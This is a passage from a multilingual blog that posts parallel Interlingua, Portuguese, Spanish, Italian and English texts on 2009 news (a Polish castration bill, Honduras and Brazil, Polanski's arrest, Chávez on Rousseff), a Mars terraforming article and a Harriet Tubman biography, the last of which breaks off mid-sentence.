inconstitutional.\nPolonia jam ha iste tipo de castigo, ben que usque nunc illo ha essite voluntari.\nSi iste lege es approbate (e il ha alte possibilitates que lo essera) le lege devenirea un del plus stricte del Union Europee, secundo le defensores del derectos human.\n---\nLa cámara baja del parlamento polaco aprobó por abrumadora mayoría una ley que castigaría con la castración química a los adultos condenados por incesto o por violar a menores de 15 años.\nDe los 403 legisladores presentes, sólo uno votó en contra, dos se abstuvieron y 400 votaron en favor de la pena que, de ser aprobado, obligará a los abusadores a tomar drogas para reducir su líbido, una práctica conocida como castración química.\nLos pederastas deberán hacer el tratamiento después de ser liberados de la cárcel, a fin de prevenir nuevos delitos.\nSi el abusador tiene entre 15 y 18 años de edad, el tribunal tendrá la facultad de infligir este castigo o no hacerlo.\nEsta ley también se aplicaría a los que abusen de parientes cercanos, aunque la propuesta no especifica la edad ni el grado de parentesco.\nEl gobierno de centro derecha de Polonia propuso la ley luego después de una serie de casos de alto perfil de pederastia e incesto en 2008.\nEl primer ministro polaco, Donald Tusk, dijo que está a favor de la castración química para los pederastas, a quienes calificó de \"degenerados\".\nEsta ley, que aún debe ser aprobado por la cámara alta y por el presidente, Lech Kaczynski, es criticado por grupos de derechos humanos por considerarlo excesivo, y un abogado indicó que puede ser inconstitucional.\nPolonia ya cuenta con este tipo de castigo, aunque hasta ahora es voluntario.\nDe ser aprobada (y hay altas posibilidades de que lo sea) la ley se convertiría en una de las más estrictas de la Unión Europea, según los defensores de los derechos humanos.\n---\nThe lower house of the Polish parliament on Friday endorsed overwhelmingly a bill that would punish with chemical castration adults convicted of rape or incest or for violating minors under fifteen years of age.\nOf the 403 lawmakers present, only one voted against, two abstained and 400 votedin favor of the penalty, which, if approved, will force offenders to take drugs to reduce their libido, a practice known as chemical castration.\nPedophiles will have to undergo the treatment after being released from prison in order to prevent further offenses.\nIf the abuser is between 15 and 18 years old, the court will have the discretion to inflict this punishment or avoid doing so.\nThis law would also be applied to those who abuse close relatives, though the proposal does not specify the age or the degree of consanguinity.\nThe center-right government of Poland proposed the law after a series of high profile cases of pedophilia and incest in 2008.\nPolish Prime Minister Donald Tusk said he is in favor of chemical castration for pedophiles, who he described as \"degenerate\".\nThis law, which still must be approved by the upper house and by the president, Lech Kaczynski, is criticized by human-rights groups as being excessive, and a lawyer has indicated that it may be unconstitutional.\nPoland already has this type of punishment, but so far it has been voluntary.\nIf approved (and there are high chances that it will be) the law would become one of the strictest in the European Union, according to human rights defenders.\nPosted by hkyson at 7:05 PM\n(Languages of this post: Interlingua, Portuguese, English)\nLe presidente Luis Inácio Lula da Silva diceva que ille non accepta le ultimatum del governamento provisori de Honduras, in responsa al periodo de 10 dies que illo dava al Brasil pro definir le status del presidente deponite Manuel Zelaya, qui nunc es un hospite del ambassada del Brasil in Tegucigalpa.\n\"Le Brasil non ha ullo a conversar con ille seniores que ursurpava le poter illegalmente\", affirmava le presidente in un interview collective in le Insula Margarita, in Venezuela, ubi ille participava in le secunde conferentia al summitate del America del Sud e Africa.\nLe governamento provisori de Honduras, ducite per Roberto Micheletti, diceva que si le Brasil non responde intra 10 dies, su governamento essera obligate a \"prender mensuras additional in conformitate con le derecto international\".\nNulle pais pote tolerar que un ambassata estranie sia utilisate como base de commando pro gerer violentia e rumper le tranquilitate como le senior Zelaya ha facite desde su entrata a in nostre territorio national\", affirma un communicato del ministerio de affaires estranie de Honduras.\nIn relation al declarationes de Zelaya, qui incoragiava su sequitores al rebellion civil del interior del ambassada brasilian, Lula diceva que le ministro de affaires estranie del Brasil, Celso Amorim, telephonava le presidente deponite, demandante que ille cessa de usar le ambassada brasilian pro activitates politic.\nLula anque affirmava que le solution del conflicto depende del Nationes Unite e del Organisation del Statos American (OSA).\nIlle anque diceva que Micheletti deberea \"facer su excusas\" e restaurar Zelaya al presidentia ante realisar electiones. \"Le solution es simple\", insiste Lula.\n---\nO presidente Luiz Inácio Lula da Silva disse que não aceita o ultimato do governo interino de Honduras, em resposta ao prazo de 10 dias que deu para que o Brasil defina o status do presidente deposto Manuel Zelaya, que agora é um hóspede da embaixada do Brasil em Tegucigalpa\n\"O Brasil não tem o que conversar com esses senhores que usurparam o poder ilegalmente\", afirmou o presidente em entrevista coletiva concedida em Isla Margarita, na Venezuela, onde participou da 2ª Cúpula América do Sul e África.\nO governo interino de Honduras, encabeçada por Roberto Micheletti, disse que se o Brasil não responder no prazo de 10 dias, seu governo será obrigado a \"tomar medidas adicionais ao abrigo do direito internacional\".\n\"Nenhum país pode tolerar que uma embaixada estrangeira seja utilizada como base de comando para gerar violência e romper a tranquilidade, como o senhor Zelaya tem feito desde sua entrada em nosso território nacional\", afirma um comunicado da chancelaria do governo interino de Honduras.\nEm relação às declarações de Zelaya, que convocou seus seguidores à rebelião civil do interior da embaixada brasileira, Lula disse que o chanceler Celso Amorim telefonou ao presidente deposto, pedindo que ele deixasse de usar a embaixada brasileira em atividades políticas.\nLula ainda afirmou que a saída para o conflito depende das Nações Unidas e da Organização dos Estados Americanos (OEA).\nEle também disse que Micheletti deveria \"pedir desculpas\" e restaurar Zelaya à presidência antes da realização de eleições. \"A solucao é simples\", insiste Lula.\n---\nPresident Luiz Inácio Lula da Silva said he does not accept the ultimatum of the de-facto government of Honduras in response to the 10 days given to Brazil to define the status of ousted president Manuel Zelaya, who now is a guest at the Brazilian embassy in Tegucigalpa.\n\"Brazil does not have anything to talk about with these men who usurped power illegally,\" the president said at a news conference in Isla Margarita, Venezuela, where he joined the 2nd Summit of South American and African nations.\nThe interim government of Honduras, headed by Roberto Micheletti, said that if Brazil does not respond within 10 days his government will be required \"to take additional measures under international law.\"\n\"No country can tolerate the use of a foreign embassy to provoke violence and break the peace, as Mr Zelaya has done since his entry into our national territory,\" said a statement from the Foreign Ministry of the interim government of Honduras.\nRegarding the statements of Zelaya, who urged his followers to rebel from within the Brazilian embassy, Lula said the Foreign Minister, Celso Amorim, called the deposed president, asking him to stop using the Brazilian embassy for political activities.\nLula also said that the solution to the conflict depends on the United Nations and the Organization of American States (OAS).\nHe also said that Micheletti should \"apologize\" and restore Zelaya to the presidency before holding elections. \"The solution is simple,\" Lula insists.\nPosted by hkyson at 6:45 PM\n(Languages of this post: Interlingua, Portuguese, English)\nLe famose director de cinema Roman Polanski esseva arrestate in Switza pro un mandato de prision publicate ante 31 annos in le Statos Unite.\nPolanski, 76, esseva arrestate quando ille viagiava a Switza pro le Festival de Cinema de Zurich, que sta a facer un retrospectiva de su carriera.\nIn 1977, in le Statos Unite, ille admitteva que ille habeva habite relationes sexual con un puera de 13 annos, lo qual es illegal, ma ille fugiva a Francia ante reciper su sententia.\nSin retornar al Statos Unite desde ille tempore, le director recipeva in Europa le Oscar del melior film pro le obra \"Le Pianista\", de 2002, que narra le memorias de un musico judee durante le Secunde Guerra Mundial, quando le Nazis occupava Varsovia.\nInitialmente arrestate pro sex crimines sexual, inter le quales es le pedophilia, le director poterea haber debite passer le resto de su vita in prision si ille esseva condemnate.\nLe victima in le centro del caso, Samantha Geimer, hodie maritate con filios, jam exigeva que le accusationes contra le director sia retirate.\nIlla dice que le insistentia del justitia que Polanski appare ante un judice american es un \"burla cruel\".\nAl comenciamento de iste anno, un magistrato american affirmava que il habeva mal conducta del judice original del caso, hodie morte, ma ille determinava que Polanski deberea retornar al Statos Unite pro demandar le annulation del caso.\nPro timor de esser victima del justitia american, le director ha evitate andar a Grande Britannia, que, como Switza, ha accordos de extradition con le Statos Unite.\n---\nO diretor Roman Polanski é preso por mandado emitido há 31 anos.\nO famoso diretor de cinema Roman Polanski foi detido na Suíça por um mandado de prisão emitido há 31 anos nos Estados Unidos.\nPolanski, 76, foi preso quando viajava para a Suíça para o Festival de Cinema de Zurique, que está realizando uma retrospectiva de sua carreira.\nEm 1977, nos Estados Unidos, ele admitiu ter mantido relações sexuais com uma garota de 13 anos, o que é ilegal, mas fugiu para a França antes de receber a sentença.\nSem voltar para os Estados Unidos desde então, o diretor recebeu em Europa o Oscar de melhor filme pela obra \"O Pianista\", de 2002, que narra as memórias de um músico judeu durante a Segunda Guerra Mundial, quando os nazistas ocuparam Varsóvia.\nInicialmente preso por seis delitos sexuais, entre os quais pedofilia, o diretor poderia ter tido que passar o resto de sua vida na prisão se for condenado.\nA vítima no centro do caso, Samantha Geimer, hoje casada e com filhos, já pediu que as acusações contra o diretor sejam retiradas.\nEla diz que a insistência da Justiça para que Polanski compareça diante de um juiz americano é uma \"piada cruel\".\nNo início deste ano, um magistrado americano afirmou que houve má conduta do juiz original do caso, hoje falecido, mas determinou que Polanski deveria retornar aos Estados Unidos para pedir a anulação do caso.\nPor medo de ser vítima da justiça americana, o diretor tem evitado ir à Grã-Bretanha, que, como a Suíça, tem acordos de extradição com os Estados Unidos.\n---\nThe director Roman Polanski was arrested by a warrant issued 31 years ago.\nThe famous film director Roman Polanski was arrested in Switzerland by a warrant issued 31 years ago in the United States.\nPolanski, 76, was arrested when he traveled to Switzerland for the Film Festival in Zurich, which is doing a retrospective of his career.\nIn 1977, in the United States, he admitted to having sex with a thirteen-year-old girl, which is illegal, but fled to France before being sentenced.\nWithout returning to the United States since then, the director received in Europe the best picture Oscar for \"The Pianist\" in 2002, which narrates the memories of a Jewish musician during the Second World War, when the Nazis occupied Warsaw.\nInitially arrested for sex offenses, including pedophilia, the director could have had to spend the rest of his life in prison if convicted.\nThe victim in the center of the case, Samantha Geimer, now married with children, has asked that the charges against the director be withdrawn.\nShe says that insisting that Polanski appear before a U.S. judge is a \"cruel joke.\"\nEarlier this year a U.S. judge said there had been misconduct by the original judge in the case, now deceased, but he ruled that Polanski would have to return to the United States to seek the annulment of the case.\nFor fear of being a victim of American justice, the director has avoided going to Britain, which, like Switzerland, has extradition agreements with the U.S.\nPosted by hkyson at 5:46 PM\n(Languages of this post: Interlingua, Portuguese, English)\nLe presidente de Venezuela, Hugo Chávez, diceva que Dilma Rouseff es su candidato preferite pro le electiones brasilian de 2010. Rouseff ha le appoio del presidente Luiz Inácio Lula da Silva pro le presidentia del Brasil.\nLula, qui sta a participar in le conferentia al summitate in Venezuela del nationes de America del Sud e de Africa, surrideva al audir le discurso de su collega. Chávez lamentava le fin del mandato del presidente brasilian.\n\"Ma Lula non vadera via. Ille remanera exactemente como ha remanite Néstor Kirchner, qui vadeva via ma qui vermente non vadeva totalmente via\", diceva Chávez, in referentia al election de Cristina Kirchner pro le presidentia de Argentina como le successor de su marito.\nDurante le session plenari del chefes de Stato, Chávez defendeva le multipolaritate in le relationes international e diceva que esseva \"vital\" le union inter le America del Sud e Africa.\nLula, in su discurso, diceva que ille credeva \"in le poter de transformation de un societate inter regiones que vive realitates simile e confronta problemas commun\".\nLe critica del assi denominate modelo \"imperialistic\" como causa del subdisveloppamento del duo regiones esseva accentuate per le majoritate del membros que forma parte del conferentia international.\n---\nO presidente da Venezuela, Hugo Chávez, disse que Dilma Rousseff é sua candidate preferida para as eleições brasileiras de 2010. Rousseff tem o apoio do presidente Luiz Inácio Lula da Silva para a presidência do Brasil.\nLula, que participa na cúpula na Venezuela das nações da América do Sul e África, sorriu ao ouvir o discurso do colega. Chávez lamentou o fim do mandato do presidente brasileiro.\n\"Mas Lula não se irá. Ele ficará, assim como Néstor Kirchner, que se foi, mas realmente não se foi\", disse Chávez, em referência à eleição de Cristina Kirchner para à presidência da Argentina como sucessora do marido.\nDurante a sessão plenária dos chefes de Estado, Chávez defendeu a multipolaridade nas relações internacionais e disse ser \"vital\" a união entre a América do Sul e a África.\nLula, em seu discurso, disse acreditar \"no poder de transformação de uma parceria entre regiões que vivem realidades semelhantes e enfrentam problemas comuns\".\nA crítica do chamado modelo \"imperialista\" como causa do subdesenvolvimento das duas regiões foi enfatizado pela maioria dos membros que fazem parte da cúpula.\n---\nThe president of Venezuela, Hugo Chávez, said Dilma Rousseff is his preferred candidate for the Brazilian elections of 2010. Rousseff has the support of President Luiz Inácio Lula da Silva for the presidency of Brazil.\nLula, who is participating in the summit in Venezuela of South American and African nations, smiled at the speech of his colleague. Chavez lamented the end of the mandate of the Brazilian president.\n\"But Lula will not go away. He will remain, just like Nestor Kirchner, who went away but really did not go away,\" said Chavez, in reference to the election of Cristina Kirchner to the presidency of Argentina as her husband's successor.\nDuring the plenary session of heads of state, Chavez defended multipolarity in international relations and said the union between South America and Africa was \"vital.\"\nLula, in his speech, said he believed in \"the transforming power of a partnership among regions faced with similar realities and confronted with similar problems.\"\nCriticism of the so-called \"imperialistic\" model as a cause of underdevelopment in the two regions was emphasized by the majority of the members taking part in the summit.\nPosted by hkyson at 5:35 PM\nSaturday, September 26, 2009\n(Languages of this post: Interlingua, English)\nLe planeta Marte offere multe difficultates al colonisation human. Illo es 64 milliones de kilometros distante del terra. Su atmosphera consiste in grande parte de anhydrido carbonic, que non es respirabile per homines, e il non ha multe nitrogeno, que es necessari pro le cultivation de plantas. Le temperatura medie es -60 Celsius, comparabile con Siberia in le hiberno.\nTotevia, professor Christopher McKay, del Centro de Recerca Ames in California, crede que, con patientia, le colonisation de Marte es possibile e avantagiose. Marte ha, in le forma de glacie, multe aqua, circa 2.000 kilometros cubic de illo. Le planeta ha anque carbon, hydrogeno, oxygeno, nitrogeno, phosphoro, e sulfure.\nProfessor McKay ha delineate un projecto pro le melioration de Marte in cinque stadios. Al prime, un expedition ab le Terra arrivarea a Marte in le annos 2015-2030.\nDurante le secunde stadio de cinquanta annos, speculos fabricate del plastico Mylar dirigerea le radios del sol al coperturas de glacie polar, liberante vapores de anhydrido de carbon, oxygeno, nitrogeno, e aqua ab le crusta del planeta. Gases de chlorofluorocarburo crearea un effecto de conservatorio, e, in consequentia, provocarea un altiamento del temperatura a -40 Celsius.\nAl tertie stadio, de 35 annos, plantas artificialmente designate pro esser robuste poterea converter le anhydrido carbonic a in carbon e oxygeno. Isto producerea le prime nubes, un cambio del color del celo de rosate a blau, e un temperatura de 15 Celsius.\nDurante le 15 annos sequente, le fusion del coperaturas polar de glacie producerea fluvios e lacos e finalmente oceanos con plancton e al terra forestes de arbores semperverde. Al stadio final, in le annos circa 2130-2170, le temperatura attingerea 10 grados Celsius, le atmosphera serea respirabile, e colonistas ab le Terra potera establir agricultura vegetal e operationes minerari.\nLe costos de iste interprisa serea multo grande. On estima un investimento de plus de mille milliones de libras sterling durante un periodo de plus de 150 annos. Ma illo poterea dar nos multe information utile del evolution de nostre proprie planeta e anque formar un base pro le exploitation profitabilissime del asteroides que es multo ric in minerales preciose.\n(Per Brian Sexton, publicate in Panorama, No. 1, januario-februario, 1992, e republicate in \"Interlingua in interlingua\")\n--\nThe planet Mars offers many difficulties for human colonization. It is 64 million kilometers away from the earth. Its atmosphere consists largely of carbon dioxide, which people cannot breathe, and it doesn't have very much nitrogen, which is necessary for the cultivation of plants. The average temperature is -60 degrees Celsius, comparable to Siberia in the winter.\nStill, Professor Christopher McKay, of the Ames Research Center in California, believes that with enough patience colonizing Mars would be possible and advantageous. Mars has a lot of water in the form of ice, around 2,000 cubic kilometers of it. The planet also has carbon, hydrogen, oxygen, nitrogen, phosphorus, and sulfur.\nProfessor McKay has outlined a five-step project for improving Mars. At first, an expedition from Earth would arrive at Mars in the years 2015-2030.\nDuring the fifty-year-long second stage, mirrors made of mylar would direct solar rays to the layers of polar ice, liberating carbon-dioxide gas, oxygen, nitrogen, and water from the crust of the planet. Chloroflurocarbon gases would create a greenhouse effect and, as a result, provoke a rise in temperature to -40 degress Celsius.\nIn the thirty-five-year-long third stage, plants artificially designed for robustness could convert the carbon dioxide into carbon and oxygen. This would produce the first clouds, a change of color in the sky from light red to blue, and a rise in temperature to less than -15 degrees Celsius.\nIn the following fifteen years, the melting of the polar ice would produce rivers and lakes and finally oceans with plankton and on the Martian landscape forests of evergreen trees. In the final stages, in the year 2130-2150, the temperature would reach 10 degrees Celsius, the atmosphere would be breathable, and colonists from Earth would be able to establish the cultivation of vegetables and mining operations.\nThe costs of this enterprise would be very high. It is estimated that an investment of more than a trillion pounds sterling would be needed over a period of more than 150 years. But it could give us a lot of useful information on the evolution of our own planet and also form a basis for the very profitable exploitation of asteroids that are very rich in precious minerals.\n(By Brian Sexton, published in \"Panorama\", No. 1, January-February, 1992, and republished in \"Interlingua in interlingua\")\nPosted by hkyson at 8:32 PM\n(Languages of this post: Italian, Interlingua)\nMolti storici dicono che Harriet Tubman nacque nell'anno 1820. Nessuno lo sa veramente. Negli Stati Uniti del XIX secolo, la nascita di uno schiavo non era registrata.\nCiò che realmente sappiamo è che Harriet Tubman fu una delle donne più coraggiose mai nate negli Stati Uniti. Aiutò centinaia di persone nei loro sforzi per uscire dalla schiavitù attraverso la \"Underground Railroad\" o \"ferrovia sotterranea\". Questo era un sistema che aiutava gli schiavi a fuggire da quelli stati del Sud dove la schiavitù era legale.\nA causa del suo lavoro per la \"ferrovia sotterranea\", Harriet Tubman ricevette il nome di Mosè. Secondo il mito biblico, Mosè era il salvatore del popolo ebraico ridotto in schiavitù in Egitto. Egli liberò il suo popolo e lo condusse verso la Terra Promessa.\nHarriet Tubman morì nel 1913. Per tutta la sua vita tentò sempre di migliorare la vita degli afro-americani.\nA partire da un'età molto precoce, Harriet sapeva quanto gli schiavi soffrivano. I suoi genitori erano schiavi: erano la proprietà di Edward Brodas, un agricoltore, nello stato americano del Maryland.\nI genitori di Harriet cercarono di proteggerla e di proteggere i loro altri dieci figli quanto potevano, ma c'era poco che potessero fare. Gli schiavi americani erano trattati come animali. Potevano essere venduti in qualsiasi momento. Spesso le loro famiglie erano separate.\nI figli degli schiavi non potevano avere quello che oggi sarebbe considerata una infanzia normale per un bambino. Quando Harriet aveva tre anni, il signor Brodas la mandava ad altri agricoltori con lettere che egli scriveva loro. Alcuni di questi agricoltori vivevano a quindici chilometri dalla casa del signor Brodas. Harriet era punita se si riposava o giocava durante il viaggio.\nQuando Harriet aveva sei anni, la famiglia Brodas la mandò a lavorare per un'altra famiglia che viveva vicino alla loro azienda agricola. Mentre era lì, si ammalò di morbillo. Ma nonostante la sua malattia, fu costretta a mantenere gruppi di trappole per animali poste in un fiume congelato. Fu rimandata a casa, quando divenne gravemente ammalata. Sua madre prese cura di lei con molta attenzione. Harriet sopravvisse e poi rimase a lavorare nella casa della famiglia Brodas.\nLa famiglia Brodas non le dava da mangiare a sufficienza. Un giorno stava lavorando in cucina e stava guardando un cubetto di zucchero in una ciotola d'argento, quando la signora Brodas la vide. Harriet era terrorizzata e scappò. Fu catturata e picchiata molto duramente. La famiglia Brodas quindi decise che Harriet non sarebbe mai stata un lavoratrice casalinga, e la mandarono a lavorare nei campi.\nI genitori di Harriet erano molto tristi. Essi avevano lavorato nei campi, e sapevano che era difficile sopravvivere il lavoro molto duro fatto là dagli schiavi. Ma questo lavoro sembrò di rafforzare il suo corpo ed ella imparò molto dagli altri schiavi. Più tardi queste cose l'avrebbe aiutata a liberare molti altri schiavi.\nHarriet imparò molto su Nat Turner, l'organizzatore di una fallita ribellione degli schiavi. Imparò anche a conoscere gli altri schiavi fuggiti dalla schiavitù utilizzando la Underground Railroad.\nInvece di essere una ferrovia con treni, la \"ferrovia sotterranea\" era una serie di luoghi dove schiavi potevano essere nascosti, generalmente in case di persone che si opponevano alla schiavitù. Uno schiavo fuggitivo poteva utilizzare una serie di luoghi consecutivi, fino a quando arrivava ad uno stato in cui la schiavitù era illegale. Mentre Harriet apprendeva questi fatti, divenne sempre più rivoluzionaria.\nUn giorno, quando era quindicenne, Harriet era in un negozio locale. Il padrone di uno sclavo, entrando nel negozio, minacciò un giovane ragazzo, suo schiavo. Il ragazzo corse allora verso l'uscita. Harriet si mosse in fronte al ragazzo. Il padrone gettò un oggetto pesantissimo verso di lui, ma colpì Harriet nella testa.\nHarriet quasi morì. Alcuni mesi passarono prima che ella potesse lasciare il letto. Fino alla morte, le rimase la cicatrice di questa ferita sulla testa, ed ella spesso sveniva a causa di questa ferita. Mr. Brodas credette che dopo questo incidente Harriet non sarebbe mai stata una buona lavoratrice e decise di venderla.\nHarriet inventò un modo per evitare che ciò accadesse. Ogni volta che qualcuno veniva a comprarla, faceva finta di cadere in un sonno profondo. Alla fine il signor Brodas decise che non sarebbe mai stato in grado di venderla e la mandò nuovamente nei campi. Mentre lavorava nei campi, ella pensava a como essere libera. Nel 1844, a circa ventiquattro anni di età, si sposò con un ex-schiavo negro dal nome di John Tubman.\nHarriet era ora molto determinata a fuggire. Ma farlo ora sarebbe stato molto pericoloso. Sapeva che se fosse stata catturata, avrebbe potuto essere picchiata a morte facilmente. Ma Harriet fu paziente e aspettò il momento giusto per tentare di scappare.\nImprovvisamente, nel 1849, l'opportunità arrivò. Mr. Brodas era morto. I suoi schiavi probabilmente sarebbero stati venduti a produttori di cotone in uno stato più a sud. La sua condizione di schiava in una tale situazione sarebbe stata ancora peggiore.\nJohn Tubman cercò di dissuadere Harriet di scappare. Egli era un uomo libero e non voleva fare un viaggio pericoloso con una donna con l'intenzione di fare qualcosa illegale. Harriet decise che il suo matrimonio con John era finito.\nSentendo che stava per essere venduta immediatamente, trovò il modo di notificare la sua famiglia. Prima a bassa voce e poi a una voce più alta, iniziò a cantare le parole: \"Mi dispiace di partire, ma sto andando verso la terra promessa.\" La famiglia capì quello che Harriet voleva dire.\nHarriet corse a casa di una donna bianca che aveva promesso di aiutarla. Questa famiglia era membro della Società degli Amici (o Quaccheri), una religione che odiava la schiavitù. Questa donna le indicò come trovare un'altra casa, dove ella poteva nascondersi.\nHarriet passò da una casa all'altra, tutte facenti parte della Underground Railroad. Ogni casa era un po più vicino allo stato della Pennsylvania, dove la schiavitù era illegale. Una volta dovette nascondersi sotto un mucchio di fieno. Un'altra volta dovette camuffarsi, vestendosi da uomo. Ma alla fine raggiunse la Pennsylvania. Al suo arrivo, disse a un amico che si sentiva come se fosse arrivata in Paradiso.\nMa, avendo guadagnato la sua libertà, Harriet non dimenticò le altre centinaia di schiavi del Maryland. Durante i prossimi dieci anni organizzò una \"ferrovia sotterranea\" ancora più grande. Liberò i genitori, la sorella, i fratelli, e gli altri membri della sua famiglia. Trovò una casa per i suoi genitori a Auburn, nello stato di New York.\nHarriet aiutò circa 300 schiavi a fuggire agli stati liberi. Sviluppò molti talenti che aiutarono altri a sfuggire alle persone che cacciavano schiavi cercanti di liberarsi dalla schiavitù. Per un certo periodo di tempo chiunque c'era una taglia di 40,000 dollari sulla sua testa e non importava se ella fosse catturata viva o morta. Le persone che aiutò le diedero il nome di Mosè, come il Mosè della Bibbia.\nDurante la guerra civile americana, iniziata nel 1861, sette Stati del Sud tentarono di separarsi dagli Stati Uniti, principalmente a causa della differenza tra questi Stati e gli Stati settentrionali sulla questione della schiavitù. Harriet andò in questi stati ribelli a spiare per il Nord.\nNel 1863 la schiavitù legale finì e Harriet non aveva più bisogno di aiutare gli altri afroamericani fuggenti la schiavitù. Alla fine della guerra Harriet tornò a Auburn e sposò un uomo di nome Nelson Davis.\nSebbene questi anni avrebbero potuto essere più felici per Harriet, ella continuò il suo lavoro. Viaggiò e diede discorsi per raccogliere soldi per migliorare l'istruzione dei giovani afro-americani. Lavorò anche per i diritti delle donne, e cercò di trovare i modi per aiutare gli anziani afro-americani che erano stati schiavi.\nHarriet Tubman morì nel 1913 Aveva circa novantatré anni e il suo il lavoro la aveva fatto diventare un eroina americana. Quando morì, il governo federale degli Stati Uniti la onorò con un funerale con gli onori militari. Questa grande eroina Afro-americana ha ora un posto nel pantheon di gente come Martin Luther King, Malcolm X e Rosa Parks.\n---\nMulte historicos dice que Harriet Tubman nasceva in le anno 1820. Nemo vermente sape. In le Statos Unite in le seculo dece e nove le nascimento de sclavos non se registrava.\nLo que nos vermente sape es que Harriet Tubman esseva un del feminas le plus coragiose nascite in le Statos Unite. Illa adjutava centenares de personas in lor effortios pro escappar del sclavitude per le Underground Railroad (via ferree subteranee). Isto esseva un systema que adjutava nostre sclavos a escappar del statos meridional american a statos ubi le sclavitude esseva illegal.\nA causa de su travalio pro le Underground Railroad, on dava le nomine de Moises a Harriet Tubman. Secundo le mytho biblic, Moises esseva le salvator del gente judee subjugate in Egypto. Ille liberava su populo e les conduceva al Terra Promittite.\nHarriet Tubman moriva in 1913. Durante omne su vita illa sempre essayava a meliorar le vita de afroamericanos.\nDesde un etate multo juvene, Harriet cognosceva como nostre sclavos suffreva. Su patres esseva sclavos. Illes esseva le proprietate de Edward Brodas, un fermero in le stato american Maryland.\nLe patres de Harriet essayava a proteger la e lor dece altere filios tanto como illes poteva, ma il habeva pauco que illes poteva facer. Sclavos american esseva tractate como animales. On pote vender les a ulle tempore. Sovente on separava lor familias.\nLe filios del sclavos non poteva haber lo que hodie esserea le vita normal de un infante. Quando Harriet habeva tres annos, le senior Brodas la mandava a portar a altere fermeros litteras que ille habeva scribite a illes. Alicunes ex iste fermeros viveva dece e cinque kilometros del casa del senior Brodas. Ille puniva Harriet si illa pausava in su viages pro relaxar se o jocar.\nQuando Harriet habeva sex annos, le familia Brodas la inviava a travaliar pro un altere familia qui viveva presso lor ferma. Durante que illa se trovava illac, Harriet esseva infectate con le rubeola. Ma in despecto de su maladia, illa esseva obligate a mantener gruppos de trappas pro animales in un fluvio gelate. On la inviava a su casa quando illa deveniva periculosemente malade. Le matre de Harriet la custodiava multo attentemente. Illa superviveva. Illa tunc esseva obligate a travaliar in le casa del familia Brodas.\nLe familia Brodas nunquam dava a illa assatis pro mangiar. Un die illa travaliava in le cocina. Illa reguardava un pecia de sucro in un sucrero argentee quando le seniora Brodas la videva. Harriet deveniva espaventate e curreva via. On la capturava e batteva multo severemente. Le familia Brodas tunc decideva que Harriet nunquam haberea successo como travaliator in le casa, e illes la mandava al campos agricultural.\nLa patres de Harriet esseva multo triste. Illes travaliava in le campos, e illes sapeva que il esseva difficile superviver le travalio durissime que le sclavos in le campos esseva obligate a facer. Ma iste travalio fortificava le corpore de Harriet, e illa apprendeva multe cosas del sclavos. Plus tarde iste cosas la adjuvarea a liberar multe altere sclavos.\nHarriet apprendeva multo sur Nat Turner, qui organisava un rebellion fallite de sclavos. Illa anque apprendeva de altere sclavos qui se habeva escappate del sclavitude usante le Underground Railroad.\nIn vice de esser un via ferrea de trainos, le Underground Railroad esseva un serie de locos ubi le sclavos poteva celar se, generalmente casas de gente qui opponeva le sclavitude. Un sclavo fugiente poteva usar un serie progressive de iste locos usque ille o illa arrivava a un stato ubi le sclavitude esseva illegal. Durante que Harriet apprendeva iste information, illa deveniva de plus in plus revolutionari.\nUn die al etate de dece e cinque annos Harriet esseva in un magazin local. Le proprietario de un sclavo, durante que ille entrava in iste magazin, menaciava un puero juvene qui esseva su sclavo. Le puero tunc curreva verso le porta del magazin. Harriet tunc moveva al fronte del puero. Le proprietorio del sclavo tunc jectava un objecto multo pesante verso ille, ma illo colpava Harriet in le capite.\nHarriet quasi moriva. Un periodo de menses passava ante que illa poteva levantar se de su lecto. Usque su morte, illa portava le cicatrice de iste vulnere in su capite, e illa sovente suffreva syncopes a causa de iste vulnere. Le senior Brodas credeva que post iste incidente Harriet nunquam esserea un bon travaliator, e ille decideva a vender la.\nHarriet disveloppava un maniera de prevenir isto. In cata occasion quando alicuno veniva a comprar la, illa pretendeva cader in un somno profunde. Eventualmente le senior Brodas decideva que ille nunquam poterea vender Harriet, e ille la inviava un altere vice al campos agricultural. Illa planificava su liberation eventual durante que illa travaliava in iste campos. In 1844, al etate plus o minus de 24 annos, illa maritava un afroamericano libere con le nomine John Tubman.\nHarriet nunc esseva multo determinate a escappar. Facer isto esserea multo periculose. Si illa esseva capturate, illa sapeva que illa facilemente poteva esser battite usque le morte. Ma Harriet habeva patientia e sperava le proprie momento pro facer su tentativa.\nSubitemente, in 1849, veniva su opportunitate. Le senior Brodas habeva morite. Su sclavos probabilemente esserea vendite a agricultores de coton in un stato plus al sud. Su conditiones como sclava in un tal situation esserea etiam pejor.\nJohn Tubman essayava a discoragiar Harriet in su planos pro escappar. Ille esseva un homine liberate, e ille non voleva facer un viage periculose con un femina qui faceva alique illegal. Harriet decideva que su maritage con John debeva terminar se.\nAl audir que on iva a vender la immediatemente, Harriet sapeva que illa debeva notificar su familia. Primo dulcemente e postea plus fortemente illa comenciava a cantar le parolas \"Io regretta abandonar vos, ma io va al terra promittite\". Su familia comprendeva su desiros.\nHarriet curreva al casa de un femina de pelle blanc qui habeva promittite a adjuvar la. Iste femina esseva un membro del Societate de Amicos (Quakers), un religion que odiava le sclavitude. Iste femina narrava como illa poteva trovar un altere casa ubi illa poterea celar se.\nHarriet vadeva de casa a casa que formava parte del Underground Railroad. Cata casa esseva un pauco plus proxime al stato de Pennsylvania, ubi le sclavitude esseva illegal. Un vice illa debeva celar se sub un cumulo de feno. Un altere vice illa debeva portar le vestimentos de un homine pro disguisar se. Ma finalmente illa arrivava a Pennsylvania. Al arrivar illac, illa diceva a un amico que illa se sentiva como si illa se trovava in le paradiso.\nMa in su libertate, illa non oblidava le centenares de altere sclavos in Maryland. Durante le proxime dece annos, illa organisava un Underground Railroad etiam plus grande. Illa liberava su patres, su soror, su fratres, e altere membros de su familia. Illa trovava un focar pro su patres in Auburn, New York.\nHarriet adjuvava unes 300 sclavos a escappar a statos libere. Illa disveloppava multe talentos que adjuvava a alteres a escappar de chassatores de sclavos qui habeva essayate a liberar se del sclavitude. Durante un certe periodo de tempore, ulle persona qui poteva trovar Harriet esseva promittite $40.000 si ille poteva capturar la con o sin vita. Le personas qui illa adjuvava dava a illa le nomine Moises como le Moises del Biblia.\nDurante nostre guerra civil, que comenciava in 1861, septe statos meridional decideva separar se del Statos Unite, principalmente a causa del differentia inter iste statos e le statos del nord sur le problema del sclavitude. Harriet vadeva al territorio de iste statos rebelle pro spiar pro le Nord.\nIn 1863 le sclavitude legal terminava, e il nunc non esseva necesse que Harriet adjuvava altere afroamericanos a escappar del sclavitude, e al fin del guerra, Harriet retornava a 